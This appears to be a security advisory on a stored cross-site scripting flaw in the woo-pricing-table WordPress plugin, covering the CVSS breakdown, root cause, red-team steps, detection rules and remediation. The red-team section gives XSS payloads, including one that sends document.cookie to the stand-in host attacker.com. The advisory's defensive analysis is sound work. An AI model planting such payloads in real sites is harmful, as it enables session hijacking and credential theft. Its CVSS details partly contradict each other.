CVE-2025-22632

Executive Summary

CVE-2025-22632 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin WooCommerce Pricing – Product Pricing (slug: woo-pricing-table), developed by Totalsoft. The vulnerability exists in versions up to and including 1.0.9. An attacker with contributor-level access or higher can inject malicious JavaScript into the pricing table fields, which will be stored on the server and executed in the browsers of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS v3.1 score is 7.1 (High), with a vector indicating network-based, low-complexity attacks requiring user interaction. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users should verify the integrity of the plugin by checking its checksum against the WordPress.org repository and ensure they are not using modified or pirated versions. The lack of a patch from the vendor (Totalsoft) increases supply chain risk, as site administrators may be forced to continue using a vulnerable version.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – However, to store the payload, the attacker needs at least Contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the page containing the stored payload.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit once a user with the necessary privileges is compromised. The lack of a patch makes it a persistent threat.

Deep Dive & Mechanics

The vulnerability resides in the woo-pricing-table plugin's handling of user-supplied input for pricing table fields (e.g., product name, price, description). The plugin fails to properly sanitize and escape these inputs before storing them in the WordPress database and later rendering them on the frontend.

Attack Flow:

1. An attacker with Contributor-level access (or higher) logs into the WordPress admin panel.
2. The attacker creates or edits a pricing table using the plugin's shortcode or block.
3. In one of the text fields (e.g., "Product Name"), the attacker injects a malicious JavaScript payload, such as:

   <script>alert('XSS')</script>
   

4. The plugin stores this payload in the wp_postmeta table without sanitization.
5. When any user (including administrators) visits the page displaying the pricing table, the stored script executes in their browser.
6. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or the_content filter without applying WordPress's built-in escaping functions like esc_html(), wp_kses_post(), or esc_attr().

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable Code (PHP):

// In a template or shortcode handler
echo '<div class="pricing-title">' . $product_name . '</div>';

Patched Code (Hypothetical):

// Properly escape output
echo '<div class="pricing-title">' . esc_html( $product_name ) . '</div>';

The patched version would use esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 1.0.9) installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in to the WordPress admin panel as a Contributor.
2. Navigate to the pricing table editor (e.g., wp-admin/admin.php?page=woo-pricing-table).
3. Create a new pricing table or edit an existing one.
4. In the "Product Name" field, enter the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the pricing table.
6. As a victim (e.g., Administrator), visit the page where the pricing table is displayed.
7. The JavaScript executes, displaying the victim's cookies in an alert box.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual content in wp_postmeta table, especially fields containing <script> or onerror attributes.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Immediately disable the plugin if no patch is available.
• Use a security plugin like Wordfence to add virtual patching.
• Restrict user roles to prevent Contributors from using the pricing table plugin.

Indicators of Compromise (IOCs)

• File System: Look for modified plugin files in /wp-content/plugins/woo-pricing-table/. Unauthorized modifications may indicate a backdoor.
• Database: Search for entries in wp_postmeta containing meta_key like _pricing_table_data with values containing <script> or event handlers.
• Network: Outbound HTTP requests to unknown domains from the WordPress server (e.g., attacker.com/steal).
• Logs: Web server logs showing requests to pages containing the pricing table with unusual query parameters.

Detection Engineering

YARA Rule

rule CVE_2025_22632_WooCommerce_Pricing_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce Pricing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22632"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = "woo-pricing-table"
    condition:
        $plugin_path and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: Stored XSS in WooCommerce Pricing Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WooCommerce Pricing plugin fields
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: "wp-admin/admin-ajax.php"
        http.body|contains: "action=save_pricing_table"
        http.body|contains|re: "(<script|onerror|onload)"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in pricing descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22632 - Stored XSS in WooCommerce Pricing Plugin"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/admin-ajax.php"; http_uri; content:"action=save_pricing_table"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Apply virtual patching using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in POST requests to admin-ajax.php with action=save_pricing_table.
3. Restrict user roles – Remove Contributor and Author roles from untrusted users.

Long-Term Fix:

• The vendor (Totalsoft) must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses_post().
• Until then, consider replacing the plugin with an alternative that is actively maintained.

Validation:

• After applying mitigations, test by attempting to inject a simple <script>alert(1)</script> payload. If the alert does not fire, the mitigation is effective.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert